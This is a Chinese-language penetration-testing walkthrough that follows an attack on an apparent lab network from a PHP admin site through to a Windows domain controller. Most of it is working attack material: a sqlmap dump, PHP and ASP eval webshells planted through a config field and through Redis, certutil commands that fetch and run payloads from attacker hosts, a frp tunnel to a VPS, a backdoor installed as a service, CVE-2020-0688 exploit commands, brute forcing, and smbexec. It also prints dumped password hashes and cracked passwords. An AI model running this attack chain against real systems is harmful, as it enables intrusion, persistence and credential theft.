外网打点到内网域渗透

项目拓扑


PHP代码审计、windows 系统宝塔提权、免杀过火绒、域渗透技巧等。

外网打点


首先访问目标,是一个网站后台,尝试弱口令无果;此处验证码可以重用,进行暴力破解,也无果。

扫描敏感文件,发现web.zip,下载之后发现是网站源代码。

PHP代码审计-SQL注入漏洞

尝试找一下历史漏洞,很显然没有

这里v_oid最后赋值给$HY_f25124089abd2a0f81,然后拼接到sql语句中执行,因为这些参数都是加密的,解密可以使用如下网站。

zend在线解密:http://dezend.qiling.org/free.html

因为这里是POST,所以抓包之后手动改一下请求方式,接着构造参数,让它返回正常的请求。

使用sqlmap检测,存在延时注入。

sqlmap -r sql.txt --dbms mysql -p v_oid -D www_cocat_cc -T kss_tb_manager -C "username,password" --dump --batch

由于这里不知道网站的完整路径,所以不能直接使用os-shell参数来获取shell。

_config.php文件接收系统设置里面的参数

然后再通过admin_sysset.php进行保存

大概看一下admin_sysset.php的代码,这里都是混淆加密,没办法解密之后分析。

1234');@eval($_POST[x]);//

可以看到,当前是SYSTEM权限,但是无法执行命令;使用蚁剑插件,都是支持Linux系统。

此时,可以读取宝塔的配置文件,然后登陆通过任务计划程序提权。

C:/BtSoft/panel/data/default.pl     jSKyFFdj
C:/BtSoft/panel/data/port.pl    8888
C:/BtSoft/panel/data/admin_path.pl    /e1VOsmtO

然后下载default.db文件,使用sqlite数据库打开,获取到宝塔密码。

这里没办法执行执行命令,所以

只能上传一个php大马,然后扫描开放端口。

查看C盘,存在代理工具frp,查看frpc.ini文件,发现80端口被映射到公网,因此可以借助此文件来映射8888端口。

这样想来的话,使用网站域名和本地扫出来的端口是不一样的,先扫描一下看存在8888端口吗。

[bt]
type = tcp
local_ip = 127.0.0.1
local_port = 8888
remote_port = 8888

发现8888端口是开放的,但是要想访问到8888端口,还需要管理员重新启动frp客户端才可以。

这里上传后门,为了保险起见,还是做一下免杀。(这里使用加壳免杀,免杀效果还是可以的)

frp反向代理上线Metasploit

[common]
server_addr = vps_ip
server_port = 7000
token = 66b

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
remote_port = 6666

内网渗透


进程迁移

抓取密码hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::

抓取明文密码,但是失败了,查看系统版本,发现是windows server 2012,那就很正常不过了。

查看IP地址,发现内网地址段:192.168.40.0/24

使用arp -a发现存在192.168.40.144,msf低版本可以只用run apr_scanner或run post/windows/gather/arp_scanner模块,但是现在高版本使用不了

添加路由

接着设置socks5代理

echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains4 nmap -sT -Pn 192.168.40.144 -v    // 这里端口扫描可以上传工具到跳板机上扫描,msf代理模块不稳定

扫描发现存在25、80、110、6379端口存在

访问80端口,是一个IIS的默认页面,尝试爆破6379端口,获取到密码

proxychains4 hydra -P /root/Desktop/webinfo/top100password.txt redis://192.168.40.144 -t 1 -v

redis 基于 windows 写马getshell

auth 123456789qq
config set dir C:/inetpub/wwwroot
set xxx "\n\n\n<%eval request(\"cmd\")%>\n\n\n"
config set dbfilename ccax.asp
save

蚁剑添加代理

但是这里权限是很低的,先来进行提权。

查看系统版本,也是windows server 2012

PrintSpoofer提权windows server 2012

通过尝试,这里使用蚁剑只有ProgramData目录可以上传文件,并且文件较大会上传失败,原因可能是msf代理模块不稳定,也可能是这里对上传的文件大小有限制。

这里不能直接使用蚁剑上传,那就先上传到跳板机,然后redis主机下载,直接访问http://192.168.40.137,显示如下页面,此时就要找当前页面所对应的目录,然后才能上传后门文件。

最后发现,此页面对应的目录是:C:\BtSoft\apache\htdocs

schoot.exe -i -c "certutil -urlcache -split -f http://192.168.40.137/b_se.exe C:\\Users\\b_se.exe"

这里防火墙是有限制的,此处添加防火墙规则,允许7777端口。

schoot.exe -i -c "netsh firewall add portopening tcp 7777 b_se"

设置后门以服务方式启动

schoot.exe -i -c "sc create \"server power\" binpath= \"C:\Users\b_se.exe""
schoot.exe -i -c "sc description \"server power\" \"description\""
schoot.exe -i -c "sc config \"server power\" start= auto"
schoot.exe -i -c "net start \"server power\""   启动服务

获取到会话之后,先迁移进程。(这里获取到会话赶紧迁移进程,否则会话容易断掉)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a149cb1c1e573427d4d89849a21536a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

md5解密 Administrator:QWEasd1122

这里就没必要加载mimikatz获取明文密码了,因为肯定是抓取不到的。
发现还存在网段10.10.10.0/24

添加路由。

上传fscan扫描10.10.10.0/24网段,这里最好使用支持禁ping扫描的,否则有些存活IP会扫描不到。

发现10.10.10.209存在443端口,访问之后发现是一个outlook。

这里可能会遇到无法访问https的情况,登陆显示”此工作站和主域间的信任关系失败“,可以只用如下命令解决

Reset-ComputerMachinePassword -Server "12server-dc.cncat.cc" -Credential CNCAT\Administrator

搜索相关后缀文件

cd "c:\\Users\\Administrator\\Documents\\Outlook 文件\\"
download *

从邮件中获取到账号密码:moonsec QQqq5201314

登陆Outlook Web App,账号:cncat\moonsec 密码:QQqq5201314

登陆成功,查看所有用户。

CVE-2020-0688 exchange远程代码执行漏洞

proxychains4 python CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c certutil -urlcache -split -f http://10.10.10.2/x.exe c:\x.exe"
proxychains4 python CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c netsh firewall add portopening tcp 8888 msf"
proxychains4 python CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c c:/x.exe"

hash解密获取域控权限


迁移CNCAT\Administrator的进程,获取域控权限。

导出administrator用户的hash

md5解密:QWEasd123

由于前面获取到域控的445端口是开放的。

proxychains4 python3 smbexec.py cncat/administrator:QWEasd123@10.10.10.201

项目获取


认准暗月官方网站:https://edu.moonsec.com/

posted @ 2023-10-18 20:07  Cx330Lm  阅读(75)  评论(0编辑  收藏  举报